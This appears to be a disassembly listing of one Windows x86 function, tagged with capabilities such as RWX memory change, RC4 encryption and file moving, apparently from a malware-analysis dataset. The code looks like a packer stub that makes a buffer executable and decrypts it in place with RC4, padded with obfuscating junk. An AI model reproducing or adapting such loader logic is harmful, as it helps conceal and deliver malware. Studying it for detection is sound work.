Function at 0x100012f0
Capabilities:
Allocate or change rwx memory
Encrypt data using rc4 ksa
Move file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
sub esp, 0x4b4
mov eax, dword [0x1001a078]
xor eax, esp
mov dword [esp + 0x4b0], eax
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 0x64
xor ebx, ebx
push ebx
mov dword [esp + 0x48], esi
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], ecx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x18
call fcn.10002669
fld qword [0x10014628]
push ecx
fstp qword [esp]
mov dword [0x1001c350], eax
call fcn.10002bc0
fstp dword [esp + 0x3c]
fld dword [esp + 0x3c]
mov eax, 0x29
add esp, 8
fstp dword [0x1001b2a8]
cmp dword [0x1001b2ac], eax
jge 0x10001372
mov dword [0x1001b2ac], eax
mov eax, dword [esi]
mov ecx, dword [0x1001c358]
lea edx, [esp + 0x44]
push edx
push 0x40
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, 0xf
lea esi, [esp + 0x8c]
mov dword [esp + 0xa0], edi
mov dword [esp + 0x9c], ebx
mov byte [esp + 0x8c], bl
call fcn.10002140
lea ebx, [edi - 6]
mov eax, esi
call fcn.10001fe0
mov eax, dword [esp + 0x9c]
cmp eax, 0x17
jae 0x100013e7
cmp dword [esp + 0xa0], 0x10
mov ecx, dword [esp + 0x8c]
jae 0x100013d8
mov ecx, esi
push eax
push ecx
push 0x1001c028
call fcn.1000ac80
add esp, 0xc
movzx edi, byte [0x1001c34c]
add edi, 4
imul edi, edi, 0x392
push 0x14
mov dword [0x1001b2ac], edi
call fcn.10002cdd
add esp, 4
test eax, eax
jne 0x10001423
push str.VuQUfSZuwT_tbTMmpgRgoIwUL_n
push str._s_20
call fcn.10002e1d
mov edi, dword [0x1001b2ac]
add esp, 8
mov edx, dword [esp + 0x40]
cmp dword [edx], 0
jne 0x10001488
push 2
push 0x1001c028
push str.hdnITLyVexdJQwiRdwkfzbyrcnckkgx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
cmp eax, 1
jne 0x10001457
push 0
push 0x1001c028
push str.wkfzbyrcnckkgx
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp dword [esp + 0xa0], 0x10
jb 0x10001471
mov eax, dword [esp + 0x8c]
push eax
call fcn.10002eda
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x4b0]
xor ecx, esp
call fcn.10002674
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x1001c138]
imul ecx, ecx, 0x38d
sub ecx, 0x38d
mov eax, 0x3159721f
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
xor esi, esi
add ecx, edx
lea ecx, [ecx]
mov dword [esp + esi*4 + 0xa8], esi
inc esi
sar edi, cl
cmp esi, 0x100
jb 0x100014b0
mov dword [0x1001b2ac], edi
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push eax
mov dword [0x1001c354], eax
call dword [sym.imp.USER32.dll_IsWindowVisible]
push str.fshSJJEtUtV
push str.pvtcajsauweup
mov dword [0x1001c020], eax
mov dword [0x1001c348], 0x10014484
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
mov esi, dword [0x1001c138]
mov ecx, esi
imul ecx, ecx, 0x38d
xor edi, edi
and ecx, 0x80000003
jns 0x10001516
dec ecx
or ecx, 0xfffffffc
inc ecx
mov ebx, dword [0x1001c024]
mov eax, 0x55555556
imul ebx
mov eax, edx
shr eax, 0x1f
add eax, edx
lea edx, [eax + eax*2]
add ecx, edx
and esi, 0x80000003
jns 0x1000153c
dec esi
or esi, 0xfffffffc
inc esi
sub ecx, esi
sub ecx, ebx
mov dword [esp + 0x34], ecx
mov ebx, 2
lea ecx, [esp + 0xac]
mov esi, dword [esp + 0x3c]
xor edx, edx
lea eax, [ebx - 2]
div dword [esi]
mov eax, dword [esp + 0x38]
add ecx, 0x10
movsx esi, byte [edx + eax]
mov eax, dword [ecx - 0x14]
add esi, eax
add esi, edi
mov edi, dword [esp + 0x3c]
and esi, 0xff
mov edx, dword [esp + esi*4 + 0xa8]
mov dword [ecx - 0x14], edx
mov edx, dword [esp + 0x34]
mov dword [esp + esi*4 + 0xa8], eax
mov dword [0x1001b2ac], edx
xor edx, edx
lea eax, [ebx - 1]
div dword [edi]
mov eax, dword [esp + 0x38]
movsx edi, byte [edx + eax]
mov eax, dword [ecx - 0x10]
add edi, eax
add edi, esi
mov esi, dword [esp + 0x3c]
and edi, 0xff
mov edx, dword [esp + edi*4 + 0xa8]
mov dword [ecx - 0x10], edx
mov edx, dword [esp + 0x34]
mov dword [esp + edi*4 + 0xa8], eax
mov dword [0x1001b2ac], edx
xor edx, edx
mov eax, ebx
div dword [esi]
mov eax, dword [esp + 0x38]
movsx esi, byte [edx + eax]
mov eax, dword [ecx - 0xc]
add esi, eax
add esi, edi
mov edi, dword [esp + 0x3c]
and esi, 0xff
mov edx, dword [esp + esi*4 + 0xa8]
mov dword [ecx - 0xc], edx
mov edx, dword [esp + 0x34]
mov dword [esp + esi*4 + 0xa8], eax
mov dword [0x1001b2ac], edx
xor edx, edx
lea eax, [ebx + 1]
div dword [edi]
mov eax, dword [esp + 0x38]
add ebx, 4
movsx edi, byte [edx + eax]
mov eax, dword [ecx - 8]
add edi, eax
add edi, esi
and edi, 0xff
mov edx, dword [esp + edi*4 + 0xa8]
mov dword [ecx - 8], edx
mov edx, dword [esp + 0x34]
mov dword [esp + edi*4 + 0xa8], eax
lea eax, [ebx - 2]
mov dword [0x1001b2ac], edx
cmp eax, 0x100
jb 0x10001550
xor ebx, ebx
xor esi, esi
mov dword [0x1001b28c], ebx
cmp dword [esp + 0x38], ebx
je 0x10001757
lea edi, [ebx + 3]
push 4
inc ebx
call fcn.10002f36
add esp, 4
test eax, eax
je 0x100016ab
mov edx, 0x38
lea ecx, [edi + ebx]
sub edx, ebx
imul edx, ecx
mov dword [esp + 0x30], edx
mov dword [eax], ecx
fild dword [esp + 0x30]
test edx, edx
jns 0x10001696
fadd dword [0x10014624]
fadd dword [0x1001c12c]
push eax
fstp dword [0x1001c12c]
call fcn.10002eda
add esp, 4
inc edi
cmp edi, 5
jb 0x10001666
mov ecx, dword [esp + 0x40]
xor eax, eax
cmp dword [ecx], eax
jbe 0x10001757
mov ecx, dword [0x1001c138]
mov edi, dword [0x1001c358]
mov edx, dword [0x1001b28c]
lea ebx, [ecx*8]
sub ebx, ecx
movzx ecx, byte [0x1001c34c]
xor ecx, 0xfffffff8
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], ecx
jmp 0x100016f4
mov ebx, dword [esp + 0x30]
inc edx
and edx, 0xff
mov ecx, dword [esp + edx*4 + 0xa8]
add esi, ecx
mov dword [0x1001b2ac], ebx
and esi, 0xff
mov ebx, dword [esp + esi*4 + 0xa8]
mov dword [esp + edx*4 + 0xa8], ebx
mov dword [esp + esi*4 + 0xa8], ecx
mov ebx, dword [esp + edx*4 + 0xa8]
add ebx, ecx
and ebx, 0xff
mov cl, byte [esp + ebx*4 + 0xa8]
xor byte [edi + eax], cl
mov ecx, dword [esp + 0x34]
mov dword [0x1001b2ac], ecx
mov ecx, dword [esp + 0x40]
inc eax
cmp eax, dword [ecx]
jb 0x100016f0
mov dword [0x1001b28c], edx
cmp dword [esp + 0xa0], 0x10
jb 0x10001771
mov edx, dword [esp + 0x8c]
push edx
call fcn.10002eda
add esp, 4
mov ecx, dword [esp + 0x4bc]
pop edi
pop esi
pop ebx
xor ecx, esp
mov eax, 1
call fcn.10002674
mov esp, ebp
pop ebp
ret